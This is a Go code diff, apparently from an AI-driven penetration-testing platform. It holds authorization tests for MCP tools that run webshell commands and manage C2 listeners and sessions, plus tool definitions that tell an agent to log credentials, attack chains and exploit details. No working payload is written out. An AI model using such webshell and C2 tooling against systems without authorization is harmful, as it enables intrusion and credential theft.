user, err := db.CreateRBACUser("mcp-user", "MCP User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, id := range []string{"ws_allowed", "ws_hidden"} {
|
||||||
|
if err := db.CreateWebshellConnection(&database.WebShellConnection{ID: id, URL: "http://127.0.0.1/" + id, Type: "php", Method: "post", CmdParam: "cmd", CreatedAt: time.Now()}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "webshell", "ws_allowed"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"mcp:write": true, "webshell:write": true})
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
if err := authorize(ctx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": "ws_allowed"}); err != nil {
|
||||||
|
t.Fatalf("allowed resource denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": "ws_hidden"}); err == nil {
|
||||||
|
t.Fatal("foreign webshell resource was allowed")
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolManageWebshellDelete, map[string]interface{}{"connection_id": "ws_allowed"}); err == nil {
|
||||||
|
t.Fatal("delete without webshell:delete was allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMCPToolAuthorizerEnforcesConversationProjectBoundary(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-project-boundary.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
user, err := db.CreateRBACUser("boundary-user", "Boundary User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&database.Project{Name: "Project 123"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
projectConv, err := db.CreateConversation("project conversation", database.ConversationCreateMeta{ProjectID: project.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
unboundConv, err := db.CreateConversation("unbound conversation", database.ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
wsProject := database.WebShellConnection{ID: "ws_project", ProjectID: project.ID, URL: "http://127.0.0.1/project.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
wsUnbound := database.WebShellConnection{ID: "ws_unbound", URL: "http://127.0.0.1/unbound.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
if err := db.CreateWebshellConnection(&wsProject); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&wsUnbound); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, id := range []string{wsProject.ID, wsUnbound.ID} {
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "webshell", id); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
listener := &database.C2Listener{ID: "l_project", ProjectID: project.ID, Name: "project listener", Type: "tcp_reverse", BindHost: "127.0.0.1", BindPort: 5555, OwnerUserID: user.ID, CreatedAt: now}
|
||||||
|
if err := db.CreateC2Listener(listener); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "c2_listener", listener.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
session := &database.C2Session{ID: "s_project", ListenerID: listener.ID, ImplantUUID: "implant-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}
|
||||||
|
if err := db.UpsertC2Session(session); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{
|
||||||
|
"webshell:read": true, "webshell:write": true,
|
||||||
|
"c2:read": true, "c2:write": true,
|
||||||
|
})
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
unboundCtx := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), unboundConv.ID), principal)
|
||||||
|
projectCtx := authctx.WithPrincipal(mcp.WithMCPProjectID(mcp.WithMCPConversationID(context.Background(), projectConv.ID), project.ID), principal)
|
||||||
|
projectCtxFromConversationOnly := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), projectConv.ID), principal)
|
||||||
|
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err == nil {
|
||||||
|
t.Fatal("unbound conversation was allowed to use project-bound webshell")
|
||||||
|
}
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err != nil {
|
||||||
|
t.Fatalf("unbound webshell denied in unbound conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||||
|
t.Fatalf("project webshell denied in project conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtxFromConversationOnly, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||||
|
t.Fatalf("project webshell denied when only conversation id is present: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err == nil {
|
||||||
|
t.Fatal("project conversation was allowed to use unbound webshell by id")
|
||||||
|
}
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err == nil {
|
||||||
|
t.Fatal("unbound conversation was allowed to use project-bound c2 session")
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||||
|
t.Fatalf("project c2 session denied in project conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtxFromConversationOnly, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||||
|
t.Fatalf("project c2 session denied when only conversation id is present: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-policy-inventory.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
permissions := map[string]bool{}
|
||||||
|
for permission := range security.PermissionCatalog {
|
||||||
|
permissions[permission] = true
|
||||||
|
}
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), authctx.NewPrincipal("admin", "admin", database.RBACScopeAll, permissions))
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
args := map[string]interface{}{
|
||||||
|
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
|
||||||
|
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x", "execution_id": "x",
|
||||||
|
}
|
||||||
|
for _, toolName := range builtin.GetAllBuiltinTools() {
|
||||||
|
err := authorize(ctx, toolName, args)
|
||||||
|
if err != nil && strings.Contains(err.Error(), "no authorization policy registered") {
|
||||||
|
t.Errorf("builtin tool %s has no explicit policy", toolName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMCPExecutionControlAuthorizationUsesExecutionScope(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-exec-authz.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
user, err := db.CreateRBACUser("exec-user", "Exec User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "exec-owned",
|
||||||
|
ToolName: "lab::slow",
|
||||||
|
Status: "running",
|
||||||
|
StartTime: time.Now(),
|
||||||
|
OwnerUserID: user.ID,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "exec-hidden",
|
||||||
|
ToolName: "lab::slow",
|
||||||
|
Status: "running",
|
||||||
|
StartTime: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"monitor:read": true, "monitor:write": true})
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
if err := authorize(ctx, builtin.ToolWaitToolExecution, map[string]interface{}{"execution_id": "exec-owned"}); err != nil {
|
||||||
|
t.Fatalf("owned execution denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolCancelToolExecution, map[string]interface{}{"execution_id": "exec-hidden"}); err == nil {
|
||||||
|
t.Fatal("foreign execution was allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
user, err := db.CreateRBACUser("asset-user", "Asset User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
owned := &database.Asset{IP: "192.0.2.10", Port: 443, Protocol: "https"}
|
||||||
|
hidden := &database.Asset{IP: "192.0.2.20", Port: 443, Protocol: "https"}
|
||||||
|
if _, err := db.UpsertAssets([]*database.Asset{owned}, user.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertAssets([]*database.Asset{hidden}, ""); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
permissions := map[string]bool{"asset:read": true, "asset:write": true}
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, permissions))
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
if err := authorize(ctx, builtin.ToolQueryAssets, nil); err != nil {
|
||||||
|
t.Fatalf("asset query denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolGetAsset, map[string]interface{}{"id": owned.ID}); err != nil {
|
||||||
|
t.Fatalf("owned asset denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolGetAsset, map[string]interface{}{"id": hidden.ID}); err == nil {
|
||||||
|
t.Fatal("unassigned asset was readable")
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolUpdateAsset, map[string]interface{}{"id": owned.ID}); err != nil {
|
||||||
|
t.Fatalf("owned asset update denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolDeleteAsset, map[string]interface{}{"id": owned.ID}); err == nil {
|
||||||
|
t.Fatal("asset delete without asset:delete was allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExternalMCPRequiresDedicatedPermission(t *testing.T) {
|
||||||
|
authorize := externalMCPToolAuthorizer()
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), authctx.NewPrincipal("u1", "user", database.RBACScopeAssigned, map[string]bool{"agent:execute": true}))
|
||||||
|
if err := authorize(ctx, "server::tool", nil); err == nil {
|
||||||
|
t.Fatal("agent:execute alone authorized an external MCP tool")
|
||||||
|
}
|
||||||
|
ctx = authctx.WithPrincipal(context.Background(), authctx.NewPrincipal("u1", "user", database.RBACScopeAll, map[string]bool{"mcp:external:execute": true}))
|
||||||
|
if err := authorize(ctx, "server::tool", nil); err != nil {
|
||||||
|
t.Fatalf("dedicated external MCP permission rejected: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestConfiguredCommandToolRequiresLocalExecutePermission(t *testing.T) {
|
||||||
|
authorize := mcpToolAuthorizer(nil)
|
||||||
|
agentOnly := authctx.WithPrincipal(context.Background(), authctx.NewPrincipal("u1", "user", database.RBACScopeAssigned, map[string]bool{"agent:execute": true}))
|
||||||
|
if err := authorize(agentOnly, "nmap_scan", nil); err == nil {
|
||||||
|
t.Fatal("agent:execute alone authorized a configured command tool")
|
||||||
|
}
|
||||||
|
local := authctx.WithPrincipal(context.Background(), authctx.NewPrincipal("u1", "user", database.RBACScopeAssigned, map[string]bool{"agent:local-execute": true}))
|
||||||
|
if err := authorize(local, "nmap_scan", nil); err != nil {
|
||||||
|
t.Fatalf("agent:local-execute rejected: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/security"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestStandaloneMCPPrefersUserRBACAndDisablesGlobalTokenByDefault(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-http-auth.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
auth := security.NewAuthManager(12)
|
||||||
|
if _, err := auth.AttachRBACStore(db); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
hash, err := security.HashPassword("admin-secret")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpdateRBACAdminPassword(hash); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
token, _, err := auth.Authenticate("admin", "admin-secret")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
server := mcp.NewServer(zap.NewNop())
|
||||||
|
server.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||||
|
a := &App{config: &config.Config{MCP: config.MCPConfig{AuthHeader: "X-MCP-Token", AuthHeaderValue: "static-secret"}}, auth: auth, mcpServer: server}
|
||||||
|
body := []byte(`{"jsonrpc":"2.0","id":1,"method":"tools/list"}`)
|
||||||
|
|
||||||
|
userReq := httptest.NewRequest(http.MethodPost, "/mcp", bytes.NewReader(body))
|
||||||
|
userReq.Header.Set("Authorization", "Bearer "+token)
|
||||||
|
userW := httptest.NewRecorder()
|
||||||
|
a.mcpHandlerWithAuth(userW, userReq)
|
||||||
|
if userW.Code != http.StatusOK {
|
||||||
|
t.Fatalf("user bearer status = %d: %s", userW.Code, userW.Body.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
staticReq := httptest.NewRequest(http.MethodPost, "/mcp", bytes.NewReader(body))
|
||||||
|
staticReq.Header.Set("X-MCP-Token", "static-secret")
|
||||||
|
staticW := httptest.NewRecorder()
|
||||||
|
a.mcpHandlerWithAuth(staticW, staticReq)
|
||||||
|
if staticW.Code != http.StatusUnauthorized {
|
||||||
|
t.Fatalf("global static token status = %d, want 401", staticW.Code)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
)
|
||||||
|
|
||||||
|
func mcpEffectiveProjectFilter(ctx context.Context, db *database.DB) string {
|
||||||
|
if projectID := strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx)); projectID != "" {
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
if conversationID := mcpAuthorizationConversationID(ctx); conversationID != "" {
|
||||||
|
if db != nil {
|
||||||
|
if projectID, err := db.GetConversationProjectID(conversationID); err == nil {
|
||||||
|
if projectID = strings.TrimSpace(projectID); projectID != "" {
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return database.ProjectFilterUnbound
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -0,0 +1,389 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/agent"
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
"cyberstrike-ai/internal/project"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func projectIDFromConversation(db *database.DB, ctx context.Context) (string, error) {
|
||||||
|
convID := agent.ConversationIDFromContext(ctx)
|
||||||
|
if convID == "" {
|
||||||
|
return "", fmt.Errorf("无法确定当前对话,请在对话上下文中使用项目事实工具")
|
||||||
|
}
|
||||||
|
pid, err := db.GetConversationProjectID(convID)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(pid) == "" {
|
||||||
|
return "", fmt.Errorf("当前对话未绑定项目,请先在对话中选择项目或创建带项目的对话")
|
||||||
|
}
|
||||||
|
return pid, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func textResult(msg string, isErr bool) *mcp.ToolResult {
|
||||||
|
return &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: msg}},
|
||||||
|
IsError: isErr,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// registerProjectFactTools 注册项目黑板 MCP 工具。
|
||||||
|
func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *config.Config, logger *zap.Logger) {
|
||||||
|
if db == nil || cfg == nil || !cfg.Project.Enabled {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("项目黑板工具未注册(未启用)")
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
upsertTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolUpsertProjectFact,
|
||||||
|
Description: "写入或更新项目黑板事实,用于跨会话沉淀可复现上下文(非正式漏洞条目;可交付漏洞另用 record_vulnerability)。" +
|
||||||
|
"边渗透边记录:每确认新认知(端口/入口/凭据/可利用点)后立即调用,同 fact_key 覆盖更新,勿等会话结束。" +
|
||||||
|
"禁止仅写结论:summary 须含什么+在哪+如何验证;body 须含攻击链/请求响应/命令等复现细节。" +
|
||||||
|
"发现类建议 fact_key 为 finding|chain|exploit|poc/<slug>,category 对应 finding|chain|exploit|poc,body 按攻击链模板填写。" +
|
||||||
|
"环境类用 target|auth|infra|business/<slug>。同 fact_key 覆盖更新。需当前对话已绑定项目。",
|
||||||
|
ShortDescription: "写入/更新项目事实(含攻击链 body)",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"fact_key": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "项目内唯一 key:target/primary_domain、finding/sqli-login、exploit/upload-rce 等",
|
||||||
|
},
|
||||||
|
"category": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "target | auth | infra | business | finding | chain | exploit | poc | note",
|
||||||
|
"enum": []string{"target", "auth", "infra", "business", "finding", "chain", "exploit", "poc", "note"},
|
||||||
|
},
|
||||||
|
"summary": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "索引用一行:结论 + 位置 + 触发/验证要点(勿仅写「存在 XSS」等空话)",
|
||||||
|
},
|
||||||
|
"body": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "完整可复现详情(仅 get_project_fact 返回):须含攻击链步骤、原始 HTTP/命令、响应现象、证据与关联。" +
|
||||||
|
"发现/利用类首次写入必填;环境类建议含来源证据。攻击链类可参考模板章节:结论、目标与入口、攻击链、Exploit/POC、关键证据、关联、备注。" +
|
||||||
|
"更新已有 fact_key 时若省略或留空 body,将保留库中已有 body(可只改 summary)。",
|
||||||
|
},
|
||||||
|
"confidence": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "confirmed | tentative | deprecated",
|
||||||
|
"enum": []string{"confirmed", "tentative", "deprecated"},
|
||||||
|
},
|
||||||
|
"pinned": map[string]interface{}{
|
||||||
|
"type": "boolean",
|
||||||
|
"description": "是否优先出现在黑板索引",
|
||||||
|
},
|
||||||
|
"related_vulnerability_id": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "可选:关联的漏洞记录 ID",
|
||||||
|
},
|
||||||
|
"links": map[string]interface{}{
|
||||||
|
"type": "array",
|
||||||
|
"description": "可选:关系边(from → 当前 fact)。finding 至少 1 条 {from:target/*, type:discovered_on};finding 上记录 exploit 用 {from:exploit/*, type:exploits}。省略保留已有边;传 [] 清空全部关系边。",
|
||||||
|
"items": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"from": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "来源 fact_key:存储为 from → 当前 fact",
|
||||||
|
},
|
||||||
|
"type": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "depends_on | leads_to | enables | exploits | discovered_on | contains | part_of | supports",
|
||||||
|
},
|
||||||
|
"confidence": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "confirmed | tentative | deprecated",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"from", "type"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"fact_key", "summary"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
mcpServer.RegisterTool(upsertTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
factKey, _ := args["fact_key"].(string)
|
||||||
|
summary, _ := args["summary"].(string)
|
||||||
|
if strings.TrimSpace(factKey) == "" || strings.TrimSpace(summary) == "" {
|
||||||
|
return textResult("错误: fact_key 与 summary 必填", true), nil
|
||||||
|
}
|
||||||
|
if len([]rune(summary)) > cfg.Project.FactSummaryMaxRunesEffective() {
|
||||||
|
return textResult(fmt.Sprintf("错误: summary 过长(最多 %d 字)", cfg.Project.FactSummaryMaxRunesEffective()), true), nil
|
||||||
|
}
|
||||||
|
f := &database.ProjectFact{
|
||||||
|
ProjectID: projectID,
|
||||||
|
FactKey: factKey,
|
||||||
|
Category: strArg(args, "category"),
|
||||||
|
Summary: summary,
|
||||||
|
Body: strArg(args, "body"),
|
||||||
|
Confidence: strArg(args, "confidence"),
|
||||||
|
Pinned: boolArg(args, "pinned"),
|
||||||
|
RelatedVulnerabilityID: strArg(args, "related_vulnerability_id"),
|
||||||
|
}
|
||||||
|
if convID := agent.ConversationIDFromContext(ctx); convID != "" {
|
||||||
|
f.SourceConversationID = convID
|
||||||
|
}
|
||||||
|
created, err := db.UpsertProjectFact(f)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if _, hasLinks := args["links"]; hasLinks {
|
||||||
|
linkInputs, err := project.ParseFactLinkInputs(args["links"])
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
convID := agent.ConversationIDFromContext(ctx)
|
||||||
|
if err := project.PersistFactLinksFromParsed(db, projectID, created.FactKey, convID, linkInputs, true); err != nil {
|
||||||
|
return textResult("错误: 保存关系边失败: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
|
||||||
|
} else if parsed := project.ParseLinksFromBody(created.Body); len(parsed) > 0 {
|
||||||
|
if err := project.PersistFactIncomingLinks(db, projectID, created.FactKey, parsed, true); err != nil {
|
||||||
|
return textResult("错误: 从 body 解析边失败: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
|
||||||
|
}
|
||||||
|
msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence)
|
||||||
|
if in, _ := db.ListIncomingProjectFactEdges(projectID, created.FactKey); len(in) > 0 {
|
||||||
|
msg += "\n关系边: " + project.FormatFactLinksText(in)
|
||||||
|
}
|
||||||
|
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
|
||||||
|
msg += warn
|
||||||
|
}
|
||||||
|
return textResult(msg, false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
getTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolGetProjectFact,
|
||||||
|
Description: "按 fact_key 获取项目事实完整 body 与元数据。摘要不足时必须调用本工具,禁止臆造细节。",
|
||||||
|
ShortDescription: "按 key 获取事实详情",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"fact_key": map[string]interface{}{"type": "string", "description": "事实 key"},
|
||||||
|
},
|
||||||
|
"required": []string{"fact_key"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
mcpServer.RegisterTool(getTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||||
|
if key == "" {
|
||||||
|
return textResult("错误: fact_key 必填", true), nil
|
||||||
|
}
|
||||||
|
f, err := db.GetProjectFactByKey(projectID, key)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
msg := fmt.Sprintf("fact_key: %s\ncategory: %s\nconfidence: %s\nsummary: %s\nupdated_at: %s",
|
||||||
|
f.FactKey, f.Category, f.Confidence, f.Summary, f.UpdatedAt.Format("2006-01-02 15:04:05"))
|
||||||
|
if f.RelatedVulnerabilityID != "" {
|
||||||
|
msg += fmt.Sprintf("\nrelated_vulnerability_id: %s", f.RelatedVulnerabilityID)
|
||||||
|
}
|
||||||
|
if f.SourceConversationID != "" {
|
||||||
|
msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID)
|
||||||
|
}
|
||||||
|
if in, _ := db.ListIncomingProjectFactEdges(projectID, f.FactKey); len(in) > 0 {
|
||||||
|
msg += "\n关系边(from → 本 fact):\n"
|
||||||
|
for _, e := range in {
|
||||||
|
msg += fmt.Sprintf("- %s ← %s (%s)\n", e.EdgeType, e.SourceFactKey, e.Confidence)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if out, _ := db.ListOutgoingProjectFactEdges(projectID, f.FactKey); len(out) > 0 {
|
||||||
|
msg += "指向其他事实:\n"
|
||||||
|
for _, e := range out {
|
||||||
|
msg += fmt.Sprintf("- %s → %s (%s)\n", e.EdgeType, e.TargetFactKey, e.Confidence)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg += "\n\n--- body ---\n" + f.Body
|
||||||
|
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
|
||||||
|
msg += warn
|
||||||
|
}
|
||||||
|
return textResult(msg, false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
listTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolListProjectFacts,
|
||||||
|
Description: "列出当前项目的事实(分页)。",
|
||||||
|
ShortDescription: "列出项目事实",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"category": map[string]interface{}{"type": "string"},
|
||||||
|
"confidence": map[string]interface{}{"type": "string"},
|
||||||
|
"limit": map[string]interface{}{"type": "integer"},
|
||||||
|
"offset": map[string]interface{}{"type": "integer"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
